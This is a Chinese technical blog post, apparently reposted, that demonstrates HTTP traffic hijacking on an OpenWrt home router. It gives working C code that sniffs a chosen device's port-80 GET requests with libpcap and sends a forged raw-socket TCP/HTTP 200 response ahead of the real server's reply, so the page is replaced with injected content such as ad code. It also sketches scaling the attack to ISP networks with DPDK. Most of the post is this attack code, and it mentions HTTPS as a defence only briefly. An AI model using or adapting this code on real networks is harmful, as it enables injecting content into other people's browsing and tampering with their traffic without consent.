流量劫持

 

流量劫持比较复杂,一般来说运营商,路由器厂商,黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主,这无疑给劫持者提供了土壤。

本文演示了家庭路由器流量劫持实现,公共WIFI连接授权实现有点差异,它是用iptables重定向至webserver,有兴趣的同学可参考nodogsplash实现源码。

一. 原理图

 网络拓扑图

原理:

1. 嗅探用户http get请求流量。

2. 伪造http 200包(插入广告代码)。

两种场景:

1. 路由器侧

在路由器侧通过旁路的方式(libpcap)嗅探流量,并将伪造响应先于真实响应前发送给用户,后到的真实响应会被协议栈丢弃。

2. ISP侧

ISP网络设备流量分光至服务器,通过DPDK方式嗅探流量,并回收200 OK包。

二. 代码实现

2.1 实现环境

router: TP-LINK

router os: openwrt

lib:libpcap 

2.2 核心代码

1. libpcap流量嗅探

libpcap库使用,尚不演示。

2. 数据处理部分

/**
 * 数据帧处理
 */
void HandleFrame( char *pdata )
{
    if( pdata == NULL )
        return;

    struct ethhdr *pe;
    struct iphdr *iphead;
    struct tcphdr *tcp;

    char *Data = NULL;
    unsigned int Length = 0;

    URLInfo host = {};
    int offset = 0;

    pe = (struct ethhdr*)pdata;

    /// vlan
    if( ntohs(pe->h_proto) == ETHERTYPE_VLAN )       // vlan
    {
        offset = 4;
    }
    else if( ntohs(pe->h_proto) != ETHERTYPE_IP )    // ip
    {
        return;
    }

    /// ip
    iphead = (struct iphdr*)( pdata + offset + sizeof(struct ethhdr) );
    if( NULL == iphead )
    {
        return;
    }

    if( iphead->protocol != IPPROTO_TCP )
    {
        return;
    }

    /// tcp
    tcp = (struct tcphdr*)((char*)iphead + sizeof(struct ip));
    if( NULL == tcp )
    {
        return;
    }

    /// 只过滤80端口
    if( ntohs(tcp->dest) != 80 )
    {
        return;
    }

    Length = htons(iphead->tot_len) - iphead->ihl*4 - tcp->doff*4;
    if( Length < 20 || Length > 3000 )
    {
        return;
    }

    Data = (char*)tcp + sizeof(struct tcphdr);

    /// GET请求
    if( ntohl(*(unsigned int*)Data) != VALUE_GET)
    {
        return;
    }

    // 解析http get头部
    if( !mParser->parseHttp(Data,Length,&host) )
    {
        return;
    }

    // 主域名且为*.htm,只过滤指定终端http请求
    if( iphead->saddr == PreventIP )
    {
        printf( "IP:%u %s/%s\n",iphead->saddr,host.host,host.path );

        if( host.plen == 0 )
        {
            /// 伪造响应
            sendHttpResponse( (char*)iphead,response );
        }
    }
}

3. 协议伪造部分

/**
 * 发送HTTP响应
 */
bool sendHttpResponse( char *buff, char *response )
{
    struct iphdr *ip = (struct iphdr*)buff;
    struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr));

    int nHeadLen = ip->ihl*4 + tcp->doff*4;
    int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4;

    char *pPacketBuffer = this->PacketBuffer;
    memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN );

    // 添加html
    char *ContentBuffer = pPacketBuffer + 350;
    int nContentLen = snprintf( ContentBuffer,
                                1300,
                                response );

    // 内容长度
    char strLen[25];
    int cLen = sprintf( strLen,
                        "%d\r\n\r\n",
                        nContentLen );

    /*
     * nHeadLen(iphead +tcphead) + http_head + content_length + content
     */
    pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen );
    memcpy( pPacketBuffer, ip, nHeadLen );
    memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) );
    memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen );

    // IP
    struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer;
    pTempIP->version = 4;
    pTempIP->ihl = 5;
    pTempIP->protocol = IPPROTO_TCP;
    pTempIP->saddr = ip->daddr;
    pTempIP->daddr = ip->saddr;

    // TCP
    struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr));
    if( pTempTcp == NULL )
    {
        printf( "%s\n","TCP NULL" );
        return false;
    }

    pTempTcp->source = tcp->dest;
    pTempTcp->dest = tcp->source;
    pTempTcp->seq = tcp->ack_seq;
    pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length );
    pTempTcp->ack = 1;
    pTempTcp->fin = 0;
    pTempTcp->psh = 1;

    // 校验和
    int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen;
    pTempIP->tot_len = htons(nLen);
    IPCheckSum(pTempIP);

    // 原始套接字发送HTTP响应
    m_addr.sin_addr.s_addr = pTempIP->daddr;
    int count = sendto( m_rawsock,
                        (const char*)pTempIP,
                        ntohs(pTempIP->tot_len),
                        0,
                        (struct sockaddr *)&m_addr,
                        sizeof(struct sockaddr_in) );

    return count > 0;
}

 4. 其它算法

a. CRC32校验和计算,参见内核实现

b. TCP/UDP的checksum,需要包含一个伪IP Header。

三. 测试

请求www.163.com,浏览器显示 Hello world。

四. 扩展

本文演示了家庭路由器流量劫持实现,由于家庭流量较小,且路由器资源有限,用传统的libpcap勉强能支撑。

如果是ISP机房流量,则需要考虑DPDK高性能采集框架。

反劫持手段,网站使用https加密,虽说可采用中间人攻击手段,但是无法量产,不太常用。近年来国内厂商对劫持引起重视,百度,京东,淘宝都采用了https加密网站。

 附录:

github源码

猜你喜欢

转载自tcspecial.iteye.com/blog/2344027